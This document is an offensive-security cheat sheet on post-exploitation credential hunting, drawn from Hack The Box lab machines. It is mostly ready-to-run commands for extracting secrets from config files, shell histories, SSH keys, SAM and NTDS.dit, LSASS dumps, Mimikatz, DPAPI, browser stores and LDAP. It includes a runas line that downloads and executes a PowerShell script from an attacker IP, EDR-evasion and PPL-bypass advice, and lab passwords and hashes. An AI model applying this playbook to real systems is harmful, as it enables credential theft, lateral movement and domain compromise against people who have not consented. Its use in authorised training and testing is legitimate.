Credential Hunting
#Overview
Credentials are the most valuable post-exploitation artifact. They enable lateral movement, privilege escalation, and persistence. Systematic hunting across filesystem, memory, registry, and configuration stores is essential. The principle is simple: users and applications store credentials everywhere. Find them before the blue team does.
#Prerequisites
- Shell access to the target (user-level sufficient for most techniques)
- For memory-based techniques (LSASS, DPAPI): Administrator/SYSTEM or SeDebugPrivilege
- Tools: grep, findstr, strings, sqlcmd, crackmapexec, hashcat/john, mimikatz, Impacket
#Detection & Enumeration
#Common Password Patterns in Config Files
# Linux - search common patterns
grep -rn "password" /var/www/ 2>/dev/null
grep -rn "connectionString" /var/www/ 2>/dev/null
grep -rn "pwd=" /var/www/ 2>/dev/null
grep -rn "secret=" /var/www/ 2>/dev/null
grep -rn "passwd" /var/www/ 2>/dev/null
grep -rn "DB_PASSWORD" /var/www/ 2>/dev/null
grep -rn "api_key" /var/www/ 2>/dev/null
grep -rn "token" /var/www/ --include="*.php" 2>/dev/null
rem Windows - search common patterns
findstr /s /i "password" *.xml *.config *.txt *.ini *.config *.php
findstr /s /i "connectionString" *.config
findstr /s /i "pwd=" *.xml *.config *.txt
#Exploitation / Execution
#Linux: Web Application Config Files
# WordPress
cat /var/www/html/wp-config.php | grep DB_
# Laravel .env files
cat /var/www/html/.env
cat /var/www/html/intentions/.env # Also check subdirectories
# Generic database config
cat /var/www/html/config/database.php
cat /var/www/html/app/config.php
# Apache htpasswd
cat /etc/apache2/.htpasswd
cat /var/www/.htpasswd
Real example from Cerberus: The Icinga web application stored credentials in configuration files accessible via LFI, revealing matthew:IcingaWebPassword2023.
#Linux: Shell History Files
# Bash history
cat ~/.bash_history
cat /home/*/.bash_history
cat /root/.bash_history # Requires root
# Other shell histories
cat ~/.zsh_history
cat ~/.mysql_history # MySQL client history
cat ~/.psql_history # PostgreSQL client history
cat ~/.python_history
cat ~/.lesshst # less command history
#Linux: SSH Keys
# Find all SSH private keys
find / -name id_rsa 2>/dev/null
find / -name id_ecdsa 2>/dev/null
find / -name id_ed25519 2>/dev/null
find / -name "*.pem" 2>/dev/null
# Check ~/.ssh directory
ls -la ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys # Shows who CAN connect to this host
# Copy found keys to attacker machine and use
chmod 600 id_rsa
ssh -i id_rsa user@target.htb
Real example from Intentions: Capability abuse (CAP_DAC_READ_SEARCH) used to exfiltrate /root/.ssh/id_rsa byte-by-byte.
#Linux: /etc/shadow and /etc/passwd
# Requires root or read access
cat /etc/shadow # Password hashes
cat /etc/passwd # User list (passwords are in shadow now)
# Crack with hashcat
# $6$ = SHA-512 crypt (mode 1800)
hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
# $2y$ = BCrypt (mode 3200)
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Real example from Cerberus: SSSD cache file contained a SHA-512 crypt hash cracked to 147258369:
strings cache_cerberus.local.ldb | sort -u | head
hashcat -a 0 -m 1800 hash /usr/share/wordlists/rockyou.txt
# Result: $6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0:147258369
#Linux: Git History
# Check if .git directory exists
ls -la .git/
# If owned by root, override $HOME to bypass ownership check
HOME=/tmp git config --global --add safe.directory /var/www/html/intentions
HOME=/tmp git log -p # View all commits with diffs
HOME=/tmp git show <hash> # View specific commit
# Look for removed credentials
git log -p | grep -i "password"
git log -p | grep -i "secret"
git log -p | grep -i "key"
Real example from Intentions: HOME=/tmp git log -p revealed greg@intentions.htb password Gr3g1sTh3B3stDev3l0per!1998! in a test file.
#Linux: SSHD Config and Backdoored Keys
cat /etc/ssh/sshd_config | grep -E 'PermitRootLogin|PubkeyAuthentication'
# PermitRootLogin yes + PubkeyAuthentication yes -> root key login possible
#Windows: PowerShell History
# PSReadline console history
Get-Content (Get-PSReadlineOption).HistorySavePath
# Typical path:
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
#Windows: Registry Credential Queries
rem Autologon credentials (stored in plaintext)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
rem PuTTY session stored credentials
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
rem AlwaysInstallElevated (privesc check, but also reveals registry config)
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated
reg query "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated
#Windows: Unattended Install Files
rem These files may contain cleartext admin passwords
dir C:\Windows\Panther\Unattend.xml /s /b 2>nul
dir C:\Windows\Panther\Unattend\Unattend.xml /s /b 2>nul
dir C:\Windows\sysprep.xml /s /b 2>nul
dir C:\Windows\sysprep\sysprep.xml /s /b 2>nul
dir C:\unattend.xml /s /b 2>nul
rem View contents
type C:\Windows\Panther\Unattend.xml
#Windows: SAM and SYSTEM Hive Extraction
rem Requires Administrator or SYSTEM
reg save hklm\sam C:\temp\sam.save
reg save hklm\system C:\temp\system.save
rem Dump hashes on attacker machine
impacket-secretsdump -sam sam.save -system system.save LOCAL
#Windows: LSASS Dump (Procdump Method)
# Method 1: procdump.exe (from Sysinternals)
procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp
# Method 2: comsvcs.dll rundll32 export (native, no tool upload needed)
# First get LSASS PID:
tasklist | findstr lsass
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\temp\lsass.dmp full
# Extract credentials from dump on attacker machine
impacket-secretsdump -sam sam.save -system system.save LOCAL
# Or with Mimikatz on Windows:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" exit
Real example from Escape: MSSQL service authenticated to attacker's Responder, capturing sql_svc NTLM hash cracked to REGGIE1234ronnie.
#Windows: Mimikatz Credential Extraction
# Must run as Administrator or SYSTEM
mimikatz.exe
privilege::debug # Enable SeDebugPrivilege
sekurlsa::logonpasswords # Dump all logon session passwords/hashes
sekurlsa::ekeys # Kerberos keys
lsadump::sam # Local SAM database
lsadump::lsa # LSA secrets (cached domain credentials)
lsadump::secrets # LSA secrets
lsadump::dcsync /user:Administrator # DCSync (requires domain admin)
#Windows: DPAPI Credential Extraction
# Identify credential files and masterkeys
dir /S /AS C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials
dir /S /AS C:\Users\%USERNAME%\AppData\Local\Microsoft\Protect
dir /S /AS C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials
dir /S /AS C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Protect
# Base64 encode credential and masterkey for offline export
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290"))
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-..."))
# Decrypt with Mimikatz (offline on attacker machine)
mimikatz.exe
dpapi::cred /in:cred_file /sid:S-1-5-21-<SID> /password:<user_password>
dpapi::masterkey /in:masterkey_file /sid:S-1-5-21-<SID> /password:<user_password>
dpapi::cred /in:cred_file # Now with masterkey in cache
Real example from Access: DPAPI credential files extracted via base64 encoding, then decrypted with Mimikatz using the user's password as the master key decryptor.
#Windows: Credential Manager Vault
rem List stored credentials
cmdkey /list
vaultcmd /list
rem These are often for runas /savecred, which allows:
runas /user:ACCESS\Administrator /savecred "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/shell.ps1')"
Real example from Access: cmdkey /list revealed stored credentials for ACCESS\Administrator, exploited via runas /savecred.
#Windows: Browser Saved Passwords
Firefox (key4.db + logins.json):
# Locate Firefox profile
dir C:\Users\*\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\
# Download key4.db and logins.json to attacker machine
# Decrypt with firepwd.py
python3 firepwd.py -d <profile_dir>
Real example from StreamIO: nikk37's Firefox profile decrypted to reveal JDgodd credentials JDg0dd1s@d0p3cr3@t0r.
Chromium-based (Chrome, Edge, Brave):
The encrypted keys are stored in %LOCALAPPDATA%\Google\Chrome\User Data\Local State and decrypted using DPAPI master keys.
#Windows: KeePass Database Cracking
# Find KeePass database files
Get-ChildItem C:\Users\ -Recurse -Include *.kdbx -ErrorAction SilentlyContinue
# Use keepass2john to extract hash for cracking
keepass2john database.kdbx > keepass_hash.txt
hashcat -a 0 -m 13400 keepass_hash.txt /usr/share/wordlists/rockyou.txt
#Windows: Ansible Vault, Azure AD Connect
rem Ansible files
dir C:\ProgramData\Ansible /s /b
dir C:\Users\*\ansible* /s /b
rem Azure AD Connect (stores plaintext credentials during DCSync)
dir "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe"
#Windows: NTDS.dit Extraction
rem ntdsutil (Domain Controller only)
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" "quit" "quit"
rem vssadmin (Volume Shadow Copy)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
rem diskshadow.exe (more stealthy)
diskshadow.exe /s shadow_script.txt
# In shadow_script.txt: set context persistent nowriters; add volume c: alias shadow; create; expose %shadow% Z:
rem Extract from attacker machine
impacket-secretsdump -ntds ntds.dit -system system.hive LOCAL
#Windows: GMSA Password Retrieval
# Group Managed Service Accounts have machine-accessible passwords
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
# The KDS root key is needed to compute GMSA passwords
#Windows: LAPS Password Reading
rem LAPS stores local admin passwords in AD
rem Read with ldapsearch (if you have AD credentials)
ldapsearch -h dc.streamio.htb -b 'DC=streamIO,DC=htb' -x -D user@domain -w 'password' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
Real example from StreamIO: ldapsearch against the domain returned the Administrator LAPS password -6/8RYZp4hY6t).
#Windows: MSSQL Database Enumeration
# Connect with Impacket
impacket-mssqlclient user:password@target.htb
# Using sqlcmd from Windows shell
sqlcmd -S '(local)' -U db_admin -P 'password' -Q 'SELECT DB_NAME(); SELECT name FROM master..sysdatabases;'
sqlcmd -S '(local)' -U db_admin -P 'password' -Q 'USE STREAMIO_BACKUP; select username,password from users;'
# UNC path hash capture
EXEC MASTER.sys.xp_dirtree '\\10.10.14.5\test', 1, 1
Real example from StreamIO: sqlcmd enumerated STREAMIO_BACKUP database to extract user hashes including nikk37:get_dem_girls2@yahoo.com.
#Windows: LDAP Enumeration
# Bind and dump all objects
ldapsearch -h support.htb -D ldap@support.htb -w 'password' -b "dc=support,dc=htb" "*"
# Search for specific user
ldapsearch -h support.htb -D ldap@support.htb -w 'password' -b "dc=support,dc=htb" "(cn=Administrator)"
Real example from Support: ldapsearch bound as ldap@support.htb with password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz, revealing user support with password Ironside47pleasure40Watchful in the info field.
#LaZagne — Comprehensive Credential Recovery
# LaZagne — Comprehensive credential recovery (Windows + Linux)
lazagne.exe all # Dump all credential types
lazagne.exe browsers # Browser passwords only
lazagne.exe wifi # WiFi passwords
lazagne.exe chats # Chat app credentials
# Linux: python3 laZagne.py all
#SharpChrome — Chrome Credential Extraction
# SharpChrome — Chrome credential extraction (uses System DPAPI)
SharpChrome.exe all /browser:chrome
# Works without user login session if you have SYSTEM access
#SharpDPAPI — DPAPI Credential Decryption
# SharpDPAPI — DPAPI credential decryption
SharpDPAPI.exe machinecredentials # Machine DPAPI keys
SharpDPAPI.exe credentials /server:DC01 /show # Domain credentials
#nanodump — Modern LSASS Dump via Syscalls
:: nanodump — Modern LSASS dump using syscalls (bypasses EDR hooks)
nanodump.exe --write C:\temp\lsass.dmp
:: Uses direct syscalls instead of API calls — harder for EDR to detect
:: No new process creation, no handle duplication
#Dumpert and handlekatz — EDR-Evading LSASS Dumps
:: Dumpert — LSASS dump via direct syscalls (another EDR-evading technique)
:: Uses NtReadVirtualMemory via syscall stubs
:: GitHub: outflanknl/Dumpert
:: handlekatz — LSASS dump via handle duplication
:: Clones LSASS handle and reads memory
:: GitHub: citronneur/handlekatz
#Complete comsvcs.dll MiniDump Workflow
:: Complete comsvcs.dll MiniDump workflow
:: Step 1: Find LSASS PID
tasklist /fi "imagename eq lsass.exe"
:: Step 2: Dump using comsvcs.dll (built-in, no tool drop)
rundll32.exe comsvcs.dll MiniDump <PID> C:\temp\lsass.dmp full
:: Step 3: Transfer to attacker and parse
pypykatz parse lsass.dmp
#Mimikatz Output Interpretation
# Mimikatz sekurlsa::logonpasswords output fields:
# Username : Administrator ← Account name
# Domain : DOMAIN ← Domain/hostname
# NTLM : aad3b435... ← NTLM hash (use for PTH, crack offline)
# SHA1 : da39a3ee... ← SHA1 of password (less useful)
# Key : aes256-cts-... ← Kerberos AES-256 key (use for Overpass-the-Hash)
# Key : aes128-cts-... ← Kerberos AES-128 key
# Key : des-cbc-md5 ← DES key (legacy)
# DPAPI : 01234567... ← DPAPI master key GUID + SHA1 (use for DPAPI decryption)
# If NTLM shows empty or all zeros — Credential Guard may be active
#Credential Guard and RunAsPPL
# Credential Guard detection — LSASS returns encrypted/garbage data when active
# Check for Credential Guard:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled
# If Credential Guard is active, LSASS memory is virtualized — dump returns garbage
# Alternative: Extract DPAPI backup keys from DC instead
impacket-secretsdump.py 'domain/admin:pass@dc' -just-dc
# RunAsPPL detection and bypass:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
# If RunAsPPL=1, use PPLKill or PPLKiller to disable PPL protection
# PPLKill: https://github.com/Mattiwatti/PPLKiller
# Requires: Administrator + load driver capability
#Common Pitfalls
- Searching only
/var/www/for configs -- check/opt,/srv,/home, and user home directories - Missing .env files because
lshides them -- usels -la - Git history requires
--add safe.directoryif the .git folder is owned by root, but HOME cannot be writable in /var/www - Running Mimikatz directly on the target will trigger AV -- prefer offline extraction via procdump dump or comsvcs.dll
- LSASS dumps are heavily monitored by EDR -- comsvcs.dll rundll32 export is slightly less detected than procdump
- DPAPI decryption requires the user's plaintext password or SHA1 hash; if you only have NTLM, decryption may fail
- Browser credential decryption often requires the user to be logged in or DPAPI state to be intact
#OPSEC Considerations
- Reading config files is low-noise but still logged by file audit policies.
- LSASS dumping is a high-severity detection trigger in most EDR/AV products. Do it last in your chain.
- SAM/SYSTEM registry saves are less noisy than LSASS but still logged.
- Volume shadow copies (vssadmin) are heavily monitored on DCs.
- DCSync (Mimikatz lsadump::dcsync) is one of the most flagged AD attacks -- prefer NTDS.dit extraction when possible.
- Browser credential decryption tools are commonly flagged.
- Offline cracking (export files, crack on your machine) is always quieter than running tools on-target.
#Post-Exploitation Value
Credentials are the key to lateral movement and full domain compromise. A single set of Domain Admin credentials can collapse the entire AD forest. Service account credentials often have elevated privileges. MSSQL sysadmin accounts can execute xp_cmdshell. SSH keys provide passwordless persistent access.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| Mimikatz | https://github.com/gentilkiwi/mimikatz |
| Impacket | https://github.com/fortra/impacket |
| firepwd | https://github.com/lclevy/firepwd |
| Hashcat | https://hashcat.net/hashcat/ |
| John the Ripper | https://github.com/openwall/john |
| ldapsearch | apt install ldap-utils |
#Source Machines
- StreamIO (Medium, Windows) - MSSQL credential hunting, Firefox browser passwords, LAPS, BloodHound
- Access (Easy, Windows) - DPAPI credential extraction, cmdkey /list, runas /savecred
- Support (Easy, Windows) - LDAP enumeration, SMB anonymous access, .NET decompilation for XOR'd password
- Escape (Medium, Windows) - MSSQL coerced authentication, Responder hash capture, Kerberos Silver Ticket
- Cerberus (Hard, Linux) - SSSD cache credential cracking, ManageEngine backup password extraction
- Intentions (Hard, Linux) - Git history credential extraction, BCrypt hash-based API authentication